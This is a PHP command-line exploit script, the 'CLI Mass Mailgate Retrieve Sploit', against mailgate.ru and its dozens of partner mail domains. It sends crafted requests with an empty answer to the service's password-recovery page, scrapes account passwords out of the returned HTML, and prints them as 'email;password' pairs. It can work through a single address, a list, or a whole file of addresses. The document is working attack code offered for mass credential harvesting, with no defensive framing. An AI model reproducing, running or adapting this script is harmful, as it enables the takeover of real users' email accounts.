#!/usr/bin/php -q

<?php

###########################################################
#            CLI Mass Mailgate Retrieve Exploit           #
###########################################################
#                  K0dsweb Security Team                  #
#                  http://www.kodsweb.ru                  #
#                      (c) x4matted                       #
###########################################################
# avaliable domains:    mailgate.ru,  pobox.ru,  lenta.ru #
# netcity.ru, nc.ru,  netaddress.ru, pechkin.ru, nekto.ru #
# newarbat.net,  presnya.net, tverskoe.net,  tverskie.net #
# dmitrovka.net, lianozovo.net, marfino.net, sviblovo.net #
# kosino.net, novokosino.net, novogireevo.net, perovo.net #
# sokolniki.net, vyhino.net,  kuzminki.net, lefortovo.net #
# konkovo.net,   butovo.net,  vnukovo.net,   ochakovo.net #
# music.mailgate.ru,  tushino.net,  takoe.net,  takoe.com #
# nekto.net,  nekto.com, uzhe.net, trjam.net,  mozhno.net #
# menja.net, eshche.net,sovsem.net,iwoman.ru, sigaret.net #
# shellov.net,  standalone.net, zdorovja.net,  viwanet.ru #
# ipex.ru,mailserver.ru,msx.ru,marry.ru,samiznaetekogo.net#
###########################################################

echo "[-CLI Mass Mailgate Retrieve Sploit-]\n".
     "[----------by-x4matted-(c)----------]\n".
     "[---------http://kodsweb.ru---------]\n\n".
     "Usage: [path_to_php]\php.exe mailgate.php\n".
     "       -m [ mail@mailgate.ru | [1@mailgate.ru,2@mailgate.ru] ]\n".
     "       -s source.txt ]\n\n";

set_time_limit(0);

# assignment of arguments to the massive $options
$args = ($_SERVER['argv']);

for ($i = 0; $i < count($args); $i++) {
    if (substr($args[$i], 0, 1) == "-") {
        if(isset($args[$i+1])) {
            $options[substr($args[$i], 1)] = $args[$i+1];
        } else {
            $options[substr($args[$i], 1)] = "";
        }
    $i++;
    }
}

if(!isset($options['m']) && !isset($options['s'])) {
    echo "No arguments are entered, or arguments are incorrect. Aborting...\n";
    exit;
}

# mail check function
function chkmail($login, $domain) {
    if(empty($login) || empty($domain)) {
        echo "Input mail format is incorrect. Aborting...\n";
        exit;
    }
    $login = trim($login);
    $domain = trim($domain);

    $host = "www.mailgate.ru";
    $port = 80;
    $request = "GET /recovery/question/?email=".$login."%40".$domain."&answer= HTTP/1.1\n";
    $request.= "Host: ".$host."\n";
    $request.= "Connection: Close\n\n";

    $socket = fsockopen($host, $port);
    if ($socket) {
        fwrite($socket, $request);
        while(!feof($socket)) {
            $file[] = fgets($socket);
        }
    } else {
        die($errno.":\n".$errstr);
    }
    fclose($socket);

    foreach($file as $str) {
        $pwdstr = strstr($str, "<i>");
        $pass = strtok($pwdstr, "</i>");
        if ($pass) {
            $pwd = $pass;
        }
        $qastr = strstr($str, "<td><br /><br /><center><b>");
        if ($qastr) {
            $qa = true;
        }
    }
    if (isset($pwd)) {
        $status = $login."@".$domain.";".$pwd;
    } elseif (isset($qa)) {
        $status = $login."@".$domain." q/a setted";
    } else {
        $status = $login."@".$domain." not found";
    }

    return $status;
}

# exploiting

if (isset($options['m'])) {
    if($options['m'] == "") {
        echo "No mails are entered. Aborting...\n";
        exit;
    } else {
        if(substr($options['m'], 0, 1) == "[" && substr(strrev($options['m']), 0, 1) == "]") {
            $options['m'] = explode(",", substr(strrev(substr(strrev($options['m']), 1)), 1));
        } else {
            $options['m'] = array($options['m']);
        }
        foreach($options['m'] as $mail) {
            list($login, $domain) = explode("@", $mail);
            echo chkmail($login, $domain)."\n";
        }
    }
} elseif (isset($options['s'])) {
    if($options['s'] == "") {
        echo "No source file is entered. Aborting...\n";
        exit;
    } else {
        if(!file_exists(trim($options['s']))) {
            echo "File ".$options['s']." not found. Aborting...\n";
            exit;
        } elseif(filesize(trim($options['s'])) == 0) {
            echo "File ".$options['s']." is empty. Aborting...\n";
            exit;
        } else {
            $options['s'] = file($options['s']);
    
            for($i=0; $i<count($options['s']); $i++) {
                list($login, $domain) = explode("@", $options['s'][$i]);
                $rezult[] = chkmail($login, $domain)."\n";
                echo "\r[";
                for ($ii=0; $ii < round(($i+1)/count($options['s'])*50); $ii++) {
                    echo "=";
                }
                if (50-round(($i+1)/count($options['s'])*50)) {
                    echo ">";
                }
                for ($ii=0; $ii < (49-round(($i+1)/count($options['s'])*50)); $ii++) {
                    echo " ";
                }
                if (round(($i+1)/count($options['s'])*100) < 10) {
                    echo "]   ".round(($i+1)/count($options['s'])*100)."%";
                } elseif (round(($i+1)/count($options['s'])*100) == 100) {
                    echo "] ".round(($i+1)/count($options['s'])*100)."%";
                } else {
                    echo "]  ".round(($i+1)/count($options['s'])*100)."%";
                }
            }
            echo "\n\n";
    
            foreach($rezult as $str) {
                echo $str;
            }
        }
    }
}

?>